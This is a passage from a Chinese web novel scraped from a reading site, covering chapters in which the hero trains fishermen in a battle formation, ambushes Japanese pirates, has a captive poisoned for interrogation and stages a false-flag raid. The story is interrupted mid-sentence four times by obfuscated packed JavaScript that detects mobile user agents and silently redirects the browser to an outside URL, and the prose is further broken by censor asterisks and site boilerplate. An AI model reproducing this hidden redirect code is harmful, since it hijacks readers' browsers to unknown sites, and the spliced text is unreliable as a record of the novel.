眼前这个看似无害的少年,才是这群怪物里,最可怕的存在。 他深吸了一口气,压下心中的惊涛骇浪,对着陈平川,僵硬地抱了抱拳。 “你的手下……好本事。” 他捡起地上的刀,声音已经没有了之前的嚣张。 “这里不是说话的地方,如果你有胆子,就随我来。” 陈平川点了点头。 在林勇的带领下,一行人穿过漆黑的树林,来到了一处隐蔽的海湾。 海湾两侧,是陡峭的悬崖,只有一个狭窄的入口,通向大海。 悬崖之下,隐藏着一个不小的渔村。 这里,便是船帮的据点——龙涎湾。 村子里,灯火通明,气氛却异常紧张。 看到林勇带着陈平川等人回来,许多手持武器的汉子,都围了上来,眼神不善。 “是朋友!”林勇喝退了众人,直接将陈平川,请进了村子中央,最大的一间木屋里。 这里,是船帮的议事堂。 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第277章 我不要钱,我要你们的命! 屋子里,一个满头白发的老人,正坐在一张虎皮大椅上,手里端着一个酒碗,满脸的愁容。 他,便是船帮的帮主,林沧海。 看到陈平川进来,林沧海浑浊的眼睛,抬了抬,眼神中充满了疑惑。 林勇快步上前,在他耳边,低声将刚才在山神庙发生的事情,说了一遍。 林沧海的眼中,闪过一丝惊异。 他重新打量着陈平川,良久,才长长地叹了一口气。 “坐吧。” 他放下酒碗,声音沙哑地开口。 “阁下的本事,我儿已经跟我说了。我也不跟阁下绕弯子。” 他指了指墙角的一个大木箱。 “那里,是我船帮这些年,积攒下来的所有家当,大概有三千两白银。” “我只有一个请求。” 林沧海看着陈平官,眼神里带着一丝恳求。 “我愿将这些银子,全部赠予阁下。只求阁下,能做我船帮的供奉,保我龙涎湾三百多口人的平安。” 他已经认命了。 反抗不了,就只能花钱买命。 他把陈平川,当成了实力强大的过江龙,是可以用钱收买的雇佣兵。 这是他最后的,也是最无奈的赌注。 然而,陈平川的反应,却让他始料未及。 “钱?” 陈平川摇了摇头,脸上露出一丝自嘲的笑容。 “林老帮主,你觉得,我像是缺钱的人吗?” 他断然拒绝了。 “我不要你的钱。” 在船帮众人惊愕的目光中,陈平川从怀里,缓缓掏出了一封信。 他没有说话,只是将信轻轻地放在了桌子上,推到了林沧海的面前。 他的声音很平静,却压抑着一股即将喷发的火山般的情绪。 “我来这里,不是为了钱。” “我的岳父,我的小舅子,被倭寇掳走,如今生死未卜!” “我的未婚妻,在信里求我,去救她的父亲和兄长……” 他的声音,第一次带上了一丝颤抖,那不是软弱,而是愤怒。 他抬起头,那双原本平静的眼睛,此刻已经变得一片赤红,如同燃烧的炭火,扫过在场每一个船帮汉子的脸! “我不要你们的钱!” 他的声音,陡然拔高,如同惊雷炸响! “我要你们的命!” “我要你们这些年,被倭寇夺走的尊严!” “我要你们积攒在心里,不敢发泄的仇恨和怒火!” “把你们的船、你们的刀、你们的拳头,都交给我!” “我陈平川在此立誓!” “不杀光黑礁岛上的畜生,誓不为人!” “你们!” 他的目光,如同利剑,刺向在场的每一个人。 “敢不敢,随我一起干?!” 整个议事堂,鸦雀无声。 所有船帮的汉子,都被他这番话,震得热血沸腾,头皮发麻! 他们看着眼前这个少年,看着他那双燃烧着怒火的眼睛。 仿佛看到了复仇的希望!还有夺回尊严的机会! 这比任何金银财宝,都更能打动这群被压抑了太久的男人! 林沧海浑浊的双眼,死死地盯着陈平川。 他那颗早已死去的心,在这一刻,仿佛又重新剧烈地跳动了起来。 不过,他是个老人,见过的风浪,比在场的年轻人都多。 不会因为一番热血沸腾的言语,就压上全帮几百口人的性命。 “阁下的豪情,林某佩服。” 他缓缓开口,声音依旧沙哑。 “但犬养三郎,势大滔天,手下亡命之徒上千,更有海盗为虎作伥。我们船帮,斗不过他。” 他顿了顿,似乎在做一个艰难的决定。 “不过,我可以答应你,但我也有一个条件。” “我只能给你三十个人,三十个我船帮最能打的后生。” “你若真有本事,能带着这三十个人,打出个名堂来,那我林沧海,这条老命,连同整个船帮,就都交给你!” “可你若是输了……那也只能怪我们命不好,你们也从哪来回哪去吧。” 这是他的底线,也是他的赌注。 用三十条人命,去赌一个渺茫的未来。 “爹!” 林勇急了,他没想到自己的父亲,到了这个时候,还在犹豫。 然而,陈平川却一口答应了下来。 “好,一言为定。” 就在这时,林勇咬了咬牙,对着陈平川,重重地抱拳! “陈先生!算我一个!” 他的眼睛,因为激动和愤怒,布满了血丝,声音里带着泣血的仇恨。 “我的婆娘,我的娃儿,都是被那帮畜生杀的!此仇不报,我林勇枉为人!” “好!”陈平川看着他,重重地点了点头,“就用倭寇的血,来给你们的刀,开刃!” 第二天,天刚蒙蒙亮。 龙涎湾的沙滩上,包括林勇在内,三十个船帮的精壮汉子,已经集结完毕。 他们都是船帮里,身手最好,胆子最大的人,也是背负血海深仇的人。 陈平川看着他们,微微皱了皱眉。 本小章还未完,请点击下一页继续阅读后面精彩内容!这些人,常年在海上讨生活,个个身强力壮,但站在一起,却松松垮垮,毫无章法,完全就是一群乌合之众。 指望他们去和刀法刁钻的倭寇硬拼,无异于以卵击石。 陈平川的脑海里,瞬间浮现出了一个名字。 戚继光! 还有他那个让倭寇闻风丧胆的阵法。 鸳鸯阵! “从今天起,你们所有人,都要忘记自己是渔民!” 陈平川的声音,在清晨的海风中,传进每个人的耳中。 “你们要记住,你们是战士!是即将上阵杀敌的战士!” 他没有讲什么大道理,而是直接将鸳鸯阵的战法,拆解开来,用渔民们最熟悉的方式,教给他们。 “你,你,还有你!你们是盾牌手!你们的任务,就像是船上的锚,要死死地钉在地上,一步都不能退!” “你们,是长矛手!你们的矛,就是渔船上的鱼叉!看到机会,就要快、准、狠地刺出去!” “你们,是狼筅手!你们手里的家伙,就是缠住大鱼的渔网!把敌人的刀给我缠住,让他们动弹不得!” “还有你们,短刀手!你们就是补刀的!看到倒下的敌人,就给我上去,结果了他的性命!” 他亲自示范,将复杂的阵法,变成了拉网、划桨、抛锚这些渔民们烂熟于心的动作。 暗影六子,则成了最严厉的教官。 石头负责训练盾牌手,谁敢后退一步,他那沙包大的拳头,可不认人。 燕飞训练长矛手,要求他们每一次突刺,都必须整齐划一,力道十足。 玲儿则带着短刀手,教他们如何从最刁钻的角度,发动致命一击。 另一边,全伯也没闲着。 他带着几个手巧的老渔民,在村子的角落里,叮叮当当,忙活个不停。 他拿出随身携带的火药,又找来大量的竹筒、渔网、麻绳。 “这东西,叫线雷。” 全伯拿起一个密封好的竹筒,对着几个好奇的老渔民解释道。 “把这个埋在沙滩里,倭寇一踩上去,引线一拉,轰的一声,就能把他们炸上天!” 他又拿起一根长长的竹竿,上面绑满了锋利的枝杈和铁片。 “这个,叫狼筅。倭寇的刀不是很长吗?用这个,就能把他们的刀,全都给架住、缠住!让他们有力气也使不出来!” 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第278章 三十对三十!一人一个,正好! 希望的火种,一旦被点燃,便会以燎原之势,熊熊燃烧。 这些被压抑了太久的渔民,仿佛找到了宣泄口,爆发出惊人的热情。 他们不要命地训练着,汗水浸透了衣衫,手上磨出了血泡,却没有一个人叫苦叫累。 短短两天时间,这三十个渔民,便发生了脱胎换骨的变化。 他们的眼神,变得锐利而坚定。 当他们组成三个小小的鸳鸯阵时,一股肃杀之气,油然而生。 就在第三天下午,一个负责在外面放哨的船帮成员,跑回来报告。 “主公!不好了!” 他脸色惨白,声音都在发抖。 “倭寇的船来了!是……是‘鬼面’!他带人来了!” “鬼面”! 犬养三郎手下最残忍的副手之一! 听到这个名字,所有正在训练的渔民,脸色都是一变,下意识地握紧了手中的武器。 真正的考验,来了! “来了多少人?” 陈平川的脸上,没有丝毫的慌乱,反而异常的冷静。 “一……一艘快船,大概,大概有三十来个!”放哨的渔民结结巴巴地回答。 “三十个?”陈平川闻言,嘴角甚至露出了一丝笑意,“正好,一人一个,不多不少。” 他转过身,看着身后那三十张紧张而又带着一丝兴奋的脸。 “养兵千日,用兵一时!你们怕不怕?” “不怕!”林勇第一个怒吼出声。 “不怕!”其余二十九人,也跟着齐声咆哮,声震海湾。 “好!”陈平川点了点头,“所有人,按计划行事!” 龙涎湾的入口处,是一片开阔的沙滩。 这里,是倭寇登陆的必经之路。 此刻,这片沙滩,已经被陈平川,布置成了一个巨大的死亡陷阱。 全伯带着人,在倭寇最可能登陆的路线上,埋下了十几个简易的“**”。 又在沙滩的淤泥里,铺上了大量的渔网,上面再盖上一层薄薄的沙子,从外面看,根本发现不了任何异常。 燕飞则独自一人,带着他的长弓,悄无声息地攀上了入口处一侧,高达百米的悬崖。 那里,是最佳的狙击点,可以将整个沙滩,尽收眼底。 而林勇,则带着三个已经初具雏形的鸳鸯阵,分别埋伏在沙滩两侧的密林之中,只等着陈平川的信号。 一切,准备就绪。 没过多久,一艘黑色的倭寇快船,出现在了海平面上。 船头上,站着一个身材壮硕的武士,他脸上带着一张青面獠牙的恶鬼面具,手中提着一把比他身高还长的野太刀,浑身散发着暴虐与血腥的气息。 正是“鬼面”! 先遣小队在望海镇**,他们的首领犬养三郎大怒,发誓要报仇。 不过他很清楚,杀死他手下的人不可能是望海镇的人,因为本地人已经被他们驯服得像羊羔一样,根本不敢反抗。 所以,只能是一直和他们作对的船帮! 于是他派遣鬼面,要一举将船帮消灭! 原本,他要给鬼面一百人,但鬼面却狂妄地拒绝了,在他看来,对付一群连刀都握不稳的渔民,三十个勇士足矣,带太多人,反而是对他“鬼面”之名的侮辱。 快船没有丝毫防备,直接冲上了沙滩。 船上的倭寇们,一个个争先恐后地跳下船。 在他们看来,这又是一次轻松的“收割”。 他们可以肆意地抢夺财物,蹂躏女人,享受这些懦弱的渔民,在他们面前恐惧颤抖的模样。 “鬼面”第一个踏上了松软的沙滩,他张开双臂,似乎在享受着海风,发出一声满足的嘶吼。 然而,他并不知道,死神的镰刀,已经悬在了他的头顶。 悬崖之上,燕飞的眼神,如同鹰隼般锐利。 他的世界里,只剩下了那个戴着鬼面的身影。 风速,距离,角度…… 所有的信息,在他脑中,瞬间计算完毕。 他缓缓地,吐出一口气,扣着弓弦的手指,猛地松开! “嗡——” 弓弦发出一声轻微的颤鸣,仿佛死神的叹息。 一支黑色的羽箭,如同穿越了空间的闪电,悄无声-息地,划破了百米的距离! 沙滩上,“鬼面”的嘶吼声,戛然而止。 一支箭矢,精准地从面具的眼洞穿入,透脑而出! 他脸上的表情,凝固在了那一刻,身体晃了晃,直挺挺地向后倒去。 还未出手,就已退场。 信号! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16174787|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “轰!轰隆隆!” 几乎在“鬼面”倒下的同一时间,整片沙滩,瞬间火光冲天! **声,不绝于耳! 全伯埋下的线雷,被藏在暗处的船帮成员,用长绳拉动引线,同时引爆! 冲在最前面的十几个倭寇,当场就被炸得血肉横飞,人仰马翻! 幸存的倭寇,被这突如其来的变故,吓得魂飞魄散。 他们怪叫着,本能四散奔逃,却一脚踩进了被渔网和淤泥覆盖的陷阱! 一个个东倒西歪,行动受阻,彻底乱了阵脚。 “杀!” 密林中,陈平川发出了进攻的信号! 然而,埋伏在林中的渔民们,虽然恨透了倭寇,但毕竟是第一次上战场。 看着远处那血肉横飞的场面,闻着空气中浓烈的血腥味,许多人的腿,都开始不自觉地发软,脸上露出了胆怯之色。 就在这关键时刻! 林勇,双目赤红,状若疯虎! 他脑海里,闪过的,是自己妻儿惨死的画面! 一股无穷的怒火和勇气,瞬间冲垮了所有的恐惧! “还我老婆孩子!” 他发出一声撕心裂肺的咆哮,第一个举起了手中的狼筅,如同一头下山的猛虎,独自一人,朝着那群惊慌失措的倭寇,发起了决死的冲锋! “杀——!” 他的背影,在火光中,显得无比的悲壮,也无比的决绝! 林勇的怒吼,像敲响的巨钟,让每一个犹豫不决的渔民猛然惊醒! 是啊! 他们身后,就是家!就是妻儿老小! 他们退无可退! **死的亲人,被蹂躏的姐妹,被抢走的家园…… 一幕幕血淋淋的画面,在他们脑海中闪过! 所有的恐惧,在这一刻,都化为了滔天的仇恨! “杀!” “跟这帮畜生拼了!” “杀一个够本,杀两个赚一个!” 三十名渔民,在林勇的带动下,终于爆发出了压抑已久的血性! 他们嘶吼着,咆哮着,举起手中简陋的武器,跟随着林勇的脚步,从密林中,如潮水般,汹涌而出! 三个小小的鸳鸯阵,如三台启动的绞肉机,狠狠地撞进了已然阵脚大乱的倭寇群中! 第279章 血染沙滩倭寇尽,一拜主公天下惊 “铛!铛!铛!” 冲在最前面的狼筅手,将手中的狼筅,狠狠地戳向倭寇。 那长长的竹竿和锋利的枝杈,瞬间就缠住了倭寇引以为傲的野太刀,让他们空有一身武艺,却施展不开。 紧随其后的盾牌手,则组成了一道坚不可摧的墙壁,死死地顶住了倭寇的冲击。 “噗!噗!噗!” 一道道寒光,从盾牌的缝隙中,闪电般刺出! 那是长矛手们复仇的怒火! 他们甚至不需要瞄准,只需要机械地,将手中的长矛,向前刺出,收回,再刺出! 每一次突刺,都必然有一个倭寇,发出一声惨叫,捂着要害,难以置信地倒下。 最后的短刀手,则如同幽灵,游走在阵型的边缘。 他们负责的,是补刀。 任何一个被击倒,或是受伤的倭寇,都会在第一时间,被他们冲上去,用锋利的短刀,割断喉咙。 这是一场原始而血腥的搏杀! 更是一场不对等的**! 这些平日里凶悍无比的倭寇,在配合默契,攻守兼备的鸳鸯阵面前,就像是一群待宰的羔羊。 他们的刀,被狼筅克制。 他们的冲锋,被盾墙阻挡。 他们的生命,被长矛和短刀,无情地收割。 胜利的天平,从战斗一开始,就彻底倒向了船帮这一边。 战斗,来得快,去得也快。 当最后一个倭寇,被林勇亲手用狼筅,活活捅死在沙滩上时,整片海滩,已经彻底被鲜血染红。 三十名精锐倭寇,一个不留,全部被斩杀! 而船帮这边,仅仅付出了一人死亡,三人受了点轻伤的微小代价。 赢了! 他们竟然赢了! 看着满地的倭寇尸体,所有渔民都愣住了。 短暂的寂静之后,沙滩上,爆发出了一阵震耳欲聋的欢呼! “我们赢了!” “我们杀了这帮**的畜生!” 许多人,笑着笑着,就哭了。 他们扔掉手中的武器,跪在沙滩上,嚎啕大哭,将这些年积攒的所有委屈、恐惧和仇恨,都宣泄了出来。 他们看着陈平川的眼神,彻底变了。 那不再是敬畏,不再是信服。 而是,如同看神明一般的,狂热与崇拜! 这时,林沧海拄着拐杖,在几个老人的搀扶下,颤颤巍巍地从村子里走了出来。 他看着遍地倭寇的尸体,又看着那些喜极而泣的族人,老泪纵横。 他走到陈平川面前,在全帮三百多口人的注视下,推开身边搀扶的人,整理了一下衣衫,然后,对着陈平川,郑重地,行了一个大礼。 “老朽林沧海,拜见主公!” 他抬起头,眼神中,再无半分犹豫。 “从今日起,我龙涎湾上下,三百四十二口人,皆奉您为主!但凭驱策,万死不辞!” 随着他的话音落下,林勇以及所有船帮的成员,全都齐刷刷地,单膝跪地。 “我等,拜见主公!” 声浪,直冲云霄! 从这一刻起,船帮正式归心! 他们,成了陈平川在这江徽府,第一支真正意义上的私军! 就在这时,两个船帮汉子,拖着一个还在喘气的倭寇,走了过来。 “主公,这家伙命大,还留着一口气!” “我们问了半天,他骨头硬得很,什么都不肯说。” 陈平川的目光,落在了那个眼神依旧凶狠的倭寇身上。 他没有说话,只是转头,看向了人群中,那个妖娆的身影。 “阿魅。” “交给你了。” …… 龙涎湾,一间阴暗潮湿,终年不见阳光的地牢里。 那个被活捉的倭寇精锐,被粗大的麻绳,死死地绑在一根木桩上。 他身上满是伤口,却依旧昂着头,眼神凶狠地瞪着周围的船帮汉子,嘴里用生硬的汉话,不停地咒骂着。 “一群**猪!有种就杀了老子!” “等我们犬养头领的大军一到,定要将你们这破渔村,屠得鸡犬不留!” 林勇气得脸色铁青,上去就是一顿拳打脚踢,可那倭寇,就是一声不吭,反而还吐了口血沫,哈哈大笑起来。 “没用的东西!就这点力气吗?” “主公,这家伙是个硬骨头,怕是问不出什么了。”林勇擦了擦手上的血,有些无奈地对陈平川说道。 陈平川摆了摆手,示意众人退下。 地牢的门,被缓缓推开。 一身妖娆紫衣的阿魅,端着一个精致的白玉碗,缓步走了进来。 她的出现,与这阴森的地牢,格格不入。 那倭寇看到她,眼中闪过一丝淫邪的光芒。 “哟,还有这么标致的**女人?来,让大爷我好好……” 他的话还没说完,阿魅已经走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176456|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了他的面前。 她对着倭寇,妩媚一笑,那笑容,却让后者莫名地感到一阵心寒。 “别急嘛,武士大人。” 阿魅的声音,又软又糯,像是带着钩子。 “奴家这里,有一样好东西,想请您尝尝。” 说着,她捏住倭寇的下巴,将碗里那碧绿色的液体,不由分说地,尽数灌进了他的嘴里。 倭寇挣扎着,却根本无法反抗,被迫将那液体,咽了下去。 “你……你给我喝了什么?”他惊怒交加。 “没什么,一点我们西域的特产而已。” 阿魅收回玉碗,用手帕嫌弃地擦了擦手指,然后俯下身,在他耳边,用一种梦呓般的语调,轻声说道: “喝下它,一开始,你不会有任何感觉。” “但很快,你就会觉得,浑身上下,奇痒无比,就像有成千上万只蚂蚁,在啃食你的骨头,你的血肉。” “你会忍不住,想去抓,想去挠,直到把自己,抓得血肉模糊。” “但这,只是开始。” “接下来,你的脑子里,会看到各种各样,你最害怕的东西。比如,你死去的爹娘,会从地里爬出来,问你为什么不孝顺;你杀死的那些人,会化作厉鬼,来找你索命……” “最后,在无尽的痛苦和恐惧中,你的身体,会一点一点地,化作一滩脓水,连骨头渣子,都剩不下。” “你……你这个妖女!胡说八道!”倭寇起初还一脸不信,破口大骂。 但很快,他的脸色就变了。 他感觉,自己的皮肤,真的开始发痒了。 一开始,只是轻微的。 但很快,那股痒意,就如同潮水般,从四肢百骸,疯狂涌来! “啊!痒!好痒!” 他开始疯狂地扭动身体,在木桩上拼命地摩擦,想要缓解那深入骨髓的痒意。 可越是摩擦,就越是痒! 他的眼中,布满了血丝,脸上露出极度痛苦和恐惧的表情。 “不……不要……” 他开始发出意义不明的嘶吼,眼神变得涣散,仿佛真的看到了什么可怕的东西。 “别过来!别过来!啊——!” 他的精神,在肉体和幻觉的双重折磨下,彻底崩溃了! “我说!我什么都说!” 他涕泪横流,语无伦次地哀求着。 “求求你,给我解药!我什么都告诉你们!” 第280章 倭寇骨头硬?一碗**,让他跪地叫爷爷! 地牢外,陈平川听着里面传来的惨叫和求饶声,脸上没有丝毫的波澜。 很快,阿魅走了出来,将一份审讯出来的口供,交到了陈平川手上。 那倭寇,将他知道的一切,都和盘托出。 倭寇首领犬养三郎,与江徽府最大的海盗头子“海哥”,早有盟约。 犬养三郎负责带人攻坚**,抢夺财物。 而海哥,则利用他遍布沿海的船队和人脉,负责收集情报、引路,以及将抢来的赃物,销往外地。 两人狼狈为奸,几乎垄断了整个江徽府的海上黑色交易。 但最重要的情报,是他们的分赃规则。 “倭七海三”。 每次劫掠所得,都由犬养三郎的人,先清点登记,再运往海哥的老巢“乱石岛”进行交割。 海哥对此,早已心怀不满。 他认为自己出船出人,承担的风险巨大,却只能拿三成,简直就是被当成了下人使唤。 只是因为犬养三郎实力强横,他才一直敢怒不敢言。 “有意思。” 陈平川看着这份口供,眼中闪过一丝冰冷的寒光。 一个毒辣的计划,在他的心中,迅速成型。 他将暗影六子和林勇父子,召集到一起。 “我们不去打黑礁岛,也不去打乱石岛。” 他指着地图上,那两个互为犄角的岛屿,冷冷地说道。 “我们要做的,是让这两条狗,自己咬起来!” 众人闻言,皆是眼前一亮。 陈平川的目光,最后落在了马三的身上。 “马三,你的口才,玲儿的身手,该派上用场了。” “准备一下,我们去给海哥,送一份大礼。” …… 夜色,再次笼罩了大海。 一间密室里,陈平川对着即将出发的玲儿和马三,做着最后的部署。 “我们的目标,是海哥手下一支负责运输赃物的船队。” “玲儿,你带十个船帮的好手,换上我们缴获的倭寇服饰,务必做到一击必中。” 陈平川的眼神,锐利如刀。 “记住,我们的目的,不是**,是栽赃。把人打个半死,把货抢走,但一定要留下几个活口,让他们回去报信。” “是,主公。”玲儿点了点头,干脆利落。 一旁的马三,却愁眉苦脸,一张脸都快皱成了苦瓜。 “主公,这……这任务听起来不难,可有个要命的问题啊!” 他哭丧着脸说:“我……我不会说那倭寇的语言啊!到时候一开口,不就全露馅了?” 陈平川看着他那副样子,忍不住笑了。 他走上前,重重地拍了拍马三的肩膀。 “谁让你说得字正腔圆了?” “你不需要会说,你只需要喊得像就行了!” 陈平川清了清嗓子,然后用一种极其怪异,又带着几分嚣张的腔调,大声喊道: “土豆哪里去挖?土豆地里去挖!” “八嘎呀路!你的,死啦死啦地!” 马三和周围的人,都听得一愣一愣的。 “记住了吗?”陈平川一本正经地说道,“你不需要跟他们交流,你只需要表现出极度的傲慢和不屑。喊得越大声,越凶狠,就越像那么回事!” 马三似懂非懂地点了点头,心里却直犯嘀咕。 这……这能行吗? 半个时辰后,一艘不起眼的渔船,悄然驶离了龙涎湾。 船上,玲儿和十名船帮好手,全都换上了倭寇的服装,脸上蒙着黑布,只露出一双双冰冷的眼睛。 马三也换上了一身武士服,手里提着一把倭刀,看起来人模狗样,只是眼神有些飘忽。 根据那倭寇的情报,海哥的一支船队,今晚会将一批赃物,运到岸上进行交易。 玲儿他们,就埋伏在岸边的丛林里。 午夜时分,一艘挂着海盗旗帜的船只,果然慢悠悠地驶了过来。 船上的海盗们,一个个哼着小曲,喝着小酒,显然都放松了警惕。 “动手!” 等这些海盗一上岸,玲儿一声令下! 埋伏在四周的船帮好手,猛地冲了出去,将他们团团围住! “什么人!?” 海盗们瞬间大乱。 玲儿和船帮的汉子们,如同下山的猛虎,嚎叫着冲了上去。 一场混战,瞬间爆发。 船帮的汉子们按照陈平川的吩咐,下手极有分寸,刀背、拳脚,专门往人身上招呼,打得海盗们鬼哭狼嚎,却没伤及性命。 整个战场上,最显眼的,莫过于马三。 这家伙,彻底放飞了自我。 他提着倭刀,横冲直撞,却一个人都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176457|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没砍,只是用那半生不熟,怪腔怪调的“倭语”,对着所有海盗,破口大骂。 “八嘎!土豆哪里去挖?你们的,统统死啦死啦地!” “我的,大东瀛武士!你们的,**的猪!” 他一边骂,还一边用脚,去踹那些倒在地上的海盗,样子嚣张到了极点。 那些海盗,都被打蒙了。 他们看着这群穿着倭寇服饰,嘴里喊着听不懂的鸟语的“怪人”,一时间,都忘了反抗。 战斗,很快就结束了。 玲儿等人,将船上的财物,洗劫一空,然后扬长而去,只留下一群鼻青脸肿,满地打滚的海盗。 这些幸存的海盗,连滚带爬地逃回了乱石岛,冲进了海哥的聚义厅。 “大哥!不好了!我们的货,被人抢了!” 正在喝酒的海哥,闻言,猛地站了起来,脸色一沉。 “什么?谁干的?!” “是……是倭寇!”那头目哭丧着脸说,“他们穿着普通百姓的衣服,嘴里还骂骂咧咧的!” “他们说什么了?”海哥的眼中,闪过一丝寒光。 那头目犹豫了一下,才小心翼翼地回答: “这个……听不太懂。就听着,好像……好像一直在问什么土豆……” “土豆?”海哥一愣。 “对!就是土豆!还说什么……我们的,死啦死啦地……” 海哥的脸,瞬间涨成了猪肝色。 “砰!” 海哥一拳砸在木桌上,他浑身发抖,牙齿咬得咯咯作响。 “犬养三郎!” 他从牙缝里,挤出这个名字,声音如同从地狱里传来。 “你**,竟然敢黑吃黑!欺人太甚!” 海哥的几十个心腹头目,听闻消息,一个个义愤填膺,杀气腾腾。 “大哥!这口气不能忍啊!” 一个脸上带着刀疤的独眼汉子,猛地一拍桌子,吼道:“那帮东瀛矮子,都骑到我们脖子上拉屎了!再不还手,我们以后还怎么在海上混?” “没错!干**!”另一个粗壮的汉子,也跟着叫嚣起来,“我们跟他们拼了!大不了就是一死!也比这么窝囊地活着强!” “拼了!拼了!” 一时间,群情激奋,整个聚义厅里,都充斥着“干**”、“跟他们拼了”的吼声。 第281章 仇恨的种子,需要用敌人的血来浇灌! 然而,作为老大的海哥,在最初的暴怒之后,却强行让自己,冷静了下来。 他坐在虎皮大椅上,阴沉着脸,一言不发。 他不是傻子。 他是一个能在这片混乱海域,拉起一支队伍,和官府、倭寇周旋多年的枭雄。 他很清楚,愤怒,解决不了任何问题。 以自己目前的实力,和犬养三郎硬拼,无异于以卵击石。 犬养三郎手下,不仅有上千亡命徒,更有精良的兵甲,尤其是他们的**,锋利无比,而且刀法精湛。 而自己手下这帮人,说好听点是海盗,说难听点,就是一群拿着鱼叉**的渔民,真打起来,根本不是对手。 忍! 必须忍! 良久,他抬起手,往下压了压。 喧闹的聚义厅,瞬间安静了下来。 所有人的目光,都聚焦在他的身上,等着他下令。 然而,海哥接下来说的话,却让所有人都大跌眼镜。 “这件事,到此为止。” 他的声音,冰冷而坚决。 “从现在起,谁也不准再提!” “这次被抢的损失,我从我自己的库房里,给大家补上。” “对外,就说我们遇到了风暴,货都沉海了。” “什么?!” 心腹一只耳第一个跳了起来,不敢相信自己的耳朵。 “大哥!你这是什么意思?难道我们就这么算了?这……这要是传出去,我们乱石岛的脸,往哪儿搁啊?” “是啊,大哥!不能就这么算了啊!” 众人纷纷附和,无法理解海哥的决定。 海哥冷冷地扫了他们一眼,那眼神,让所有人都闭上了嘴。 “脸面?”他冷笑一声,“脸面值几个钱?能换回兄弟们的命吗?” 他站起身,缓缓地踱步。 “君子报仇,十年不晚。” 他的声音,充满了阴冷的算计。 “犬养三郎现在势头正盛,听说又从东瀛召集了不少浪人,我们现在跟他硬碰硬,是自寻死路。” “但是,我不会忘记这次的羞辱,迟早我要为兄弟们百倍讨回来!” 另一边,龙涎湾。 经过这段日子的暗中观察,船帮的人发现,那个海哥跟没事人一样,继续跟倭寇打交道。 “主公,那个海哥竟然忍了,咱们这计策……是不是白费了?” 龙涎湾的议事堂内,林勇一脸的憋屈和不甘,他想不通,被人这么指着鼻子骂,还抢了那么多钱,换做是他,早就拎着刀冲上去了。 马三也跟着撇嘴:“可不是嘛,我还特意学了好几句东瀛话的骂人腔调,结果人家屁都不放一个,真是个缩头乌龟。” 林沧海捋着胡须,眉头紧锁:“此人能忍常人所不能忍,绝非等闲之辈,怕是不好对付。” 众人议论纷纷,都觉得这次的计划算是打了水漂,唯有陈平川,端着一杯热茶,脸上挂着一抹谁也看不懂的笑容。 他放下茶杯,环视了一圈众人失望的脸,慢悠悠地开口:“谁说我们的计策失败了?” 众人齐刷刷地看向他,满眼都是问号。 陈平川站起身,走到那幅简陋的海图前,手指在乱石岛和黑礁岛之间划过一条线。 “你们想,一根弦,绷得越狠,它反弹起来的时候,力道是不是就越大?”他笑着反问。 “海哥现在就是那根被我们死死压住的那根弦。他越是忍,心里那股火就憋得越旺。但我们现在要做的,不是让他立刻反弹,而是继续往上加码,直到把他压到极限。” “这颗仇恨的种子,我们已经替他种下了。现在,该去给犬养三郎那边,也松松土,浇浇水了。” 他的目光最终落在了海图上一个不起眼的小点上,那笑容变得有些冷。 “犬养三郎不是自诩为这片海域的王吗?那我就先砍掉他的一只爪牙,让他尝尝,什么叫切肤之痛。” “主公,您打算怎么做?”林沧海立刻问道。 “从我们抓到的那个倭寇嘴里,我问出来一个有意思的地方。”陈平川的指尖在那个小点上敲了敲,“听潮阁。” “听潮阁?”林沧海和林勇对视一眼,脸色都有些古怪。 “那……那是个海上青楼。”林勇有些尴尬地解释道,“开在一座叫月牙岛的小岛上,背后老板是谁没人知道,只知道那里鱼龙混杂,什么人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176458|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 